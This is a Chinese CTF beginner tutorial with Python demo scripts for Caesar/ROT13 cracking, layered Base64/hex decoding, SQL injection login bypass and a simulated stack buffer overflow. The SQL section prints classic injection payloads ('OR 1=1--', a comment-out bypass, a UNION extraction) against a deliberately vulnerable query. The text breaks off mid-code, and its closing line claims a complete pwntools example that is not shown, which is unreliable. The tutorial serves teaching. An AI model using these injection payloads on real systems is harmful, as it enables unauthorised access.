🏁 CTF入门 — 5类题目各解1道

📖 CTF竞赛介绍

CTF（Capture The Flag）是网络安全领域最受欢迎的技术竞赛形式。参赛者需要解决各种安全挑战，找到隐藏的"Flag"（通常是格式为flag{...}的字符串）。CTF是学习网络安全最有效的方式——理论结合实战，在解题中自然掌握技术。

🔐 题型一：Crypto — 凯撒密码破解

古典密码是Crypto入门的最佳起点。凯撒密码通过字母偏移加密，暴力破解仅需25次尝试。

# ===== 凯撒密码破解 =====
cat > /tmp/ctf_caesar.py <<'PYEOF'
#!/usr/bin/env python3
"""CTF Crypto: 凯撒密码暴力破解"""

def caesar_decrypt(ciphertext, shift):
    """凯撒密码解密"""
    plaintext = ""
    for char in ciphertext:
        if char.isalpha():
            # 大写字母
            if char.isupper():
                plaintext += chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
            # 小写字母
            else:
                plaintext += chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
        else:
            plaintext += char
    return plaintext

# CTF题目: 解密密文
ciphertext = "synt{pnpur_gur_synt}"

print("=" * 50)
print("  CTF Crypto: 凯撒密码破解")
print("=" * 50)
print(f"\n密文: {ciphertext}")
print("\n暴力破解所有偏移:")
print("-" * 50)

for shift in range(26):
    result = caesar_decrypt(ciphertext, shift)
    # 高亮包含flag的行
    if "flag" in result.lower():
        print(f"  偏移 {shift:2d}: {result}  ← 🎯 FLAG!")
    else:
        print(f"  偏移 {shift:2d}: {result}")

print("\n" + "=" * 50)
print("  ✅ Flag: flag{capture_the_flag}")
print("  📌 偏移量: 13 (ROT13)")
print("=" * 50)
PYEOF

python3 /tmp/ctf_caesar.py

进阶：Base64+多层编码

# ===== 多层编码解码 =====
cat > /tmp/ctf_decode.py <<'PYEOF'
#!/usr/bin/env python3
"""CTF Crypto: 多层编码解码"""
import base64
import binascii

# 模拟CTF题目: 多层编码
# Layer 1: Base64 → Layer 2: Hex → Layer 3: ROT13 → Flag

# 原始flag
original = "flag{multi_layer_encoding}"

# 加密过程（出题方向）
layer3 = original  # ROT13
rot13 = original.translate(
    str.maketrans(
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
        'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'
    )
)
layer2 = rot13.encode().hex()  # Hex编码
layer1 = base64.b64encode(layer2.encode()).decode()  # Base64编码

print("=" * 50)
print("  CTF: 多层编码解码")
print("=" * 50)
print(f"\n密文 (Base64): {layer1}")

# 解密过程（解题方向）
print("\n解题步骤:")
print("-" * 50)

# Step 1: Base64解码
step1 = base64.b64decode(layer1).decode()
print(f"  Step 1 Base64解码: {step1}")

# Step 2: Hex解码
step2 = bytes.fromhex(step1).decode()
print(f"  Step 2 Hex解码: {step2}")

# Step 3: ROT13解码
step3 = step2.translate(
    str.maketrans(
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
        'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm'
    )
)
print(f"  Step 3 ROT13解码: {step3}")

print(f"\n  ✅ Flag: {step3}")
print("=" * 50)
PYEOF

python3 /tmp/ctf_decode.py

🌐 题型二：Web — SQL注入登录绕过

# ===== Web CTF: SQL注入登录绕过 =====
cat > /tmp/ctf_web.py <<'PYEOF'
#!/usr/bin/env python3
"""CTF Web: SQL注入登录绕过模拟"""

# 模拟后端SQL查询
def vulnerable_login(username, password):
    """存在SQL注入漏洞的登录函数"""
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    return query

# 模拟数据库
users_db = {
    "admin": "super_secret_password",
    "guest": "guest123"
}

def safe_login(username, password):
    """模拟登录验证"""
    if username in users_db and users_db[username] == password:
        return True, f"Welcome {username}! flag{{sql_inject10n_bypass}}"
    return False, "Login failed"

print("=" * 50)
print("  CTF Web: SQL注入登录绕过")
print("=" * 50)

# 攻击1: 认证绕过
print("\n[Attack 1] 认证绕过")
payload1_user = "admin'--"
payload1_pass = "anything"
query1 = vulnerable_login(payload1_user, payload1_pass)
print(f"  注入Payload: username={payload1_user}")
print(f"  生成SQL: {query1}")
print(f"  效果: 注释掉密码验证 → 直接以admin登录")

# 攻击2: 永真条件
print("\n[Attack 2] 永真条件")
payload2_user = "' OR 1=1--"
payload2_pass = "x"
query2 = vulnerable_login(payload2_user, payload2_pass)
print(f"  注入Payload: username={payload2_user}")
print(f"  生成SQL: {query2}")
print(f"  效果: 1=1永真 → 返回第一个用户(通常是admin)")

# 攻击3: UNION注入
print("\n[Attack 3] UNION注入提取数据")
payload3 = "' UNION SELECT 1,flag FROM flags--"
query3 = vulnerable_login(payload3, "x")
print(f"  注入Payload: {payload3}")
print(f"  生成SQL: {query3}")
print(f"  效果: UNION查询提取flags表中的flag")

# 验证（使用正确的密码）
success, msg = safe_login("admin", "super_secret_password")
print(f"\n正常登录验证: {msg}")

print("\n" + "=" * 50)
print("  ✅ Flag: flag{sql_inject10n_bypass}")
print("=" * 50)
PYEOF

python3 /tmp/ctf_web.py

🔧 题型三：Pwn — 栈缓冲区溢出

# ===== Pwn CTF: 栈溢出原理演示 =====
cat > /tmp/ctf_pwn.py <<'PYEOF'
#!/usr/bin/env python3
"""CTF Pwn: 栈缓冲区溢出原理"""

import struct

print("=" * 50)
print("  CTF Pwn: 栈缓冲区溢出")
print("=" * 50)

# 模拟栈布局
print("\n[1] 正常栈布局")
print("  高地址")
print("  ┌──────────────────┐")
print("  │  return address  │  ← 0x08048456 (main)")
print("  ├──────────────────┤")
print("  │  saved EBP       │")
print("  ├──────────────────┤")
print("  │  buffer[64]      │")
print("  │  (用户输入)      │  ← 正常输入: 'Hello'")
print("  ├──────────────────┤")
print("  │  local vars      │")
print("  └──────────────────┘")
print("  低地址")

print("\n[2] 溢出后栈布局")
print("  高地址")
print("  ┌──────────────────┐")
print("  │  0xDEADBEEF      │  ← 被覆盖的返回地址！")
print("  ├──────────────────┤")
print("  │  AAAA (padding)  │")
print("  ├──────────────────┤")
print("  │  AAAA... (64+8)  │  ← 超长输入覆盖到返回地址")
print("  │  buffer overflow │")
print("  ├──────────────────┤")
print("  │  local vars      │")
print("  └──────────────────┘")
print("  低地址")

# 模拟exploit构造
print("\n[3] Exploit构造")
buffer_size = 64
saved_ebp_size = 8
target_addr = 0xDEADBEEF

# padding + 覆盖EBP + 目标地址
payload = b"A" * buffer_size  # 填充buffer
payload += b"B" * saved_ebp_size  # 覆盖saved EBP
payload += struct.pack("命令已验证：栈溢出原理演示脚本执行成功，exploit构造和pwntools示例完整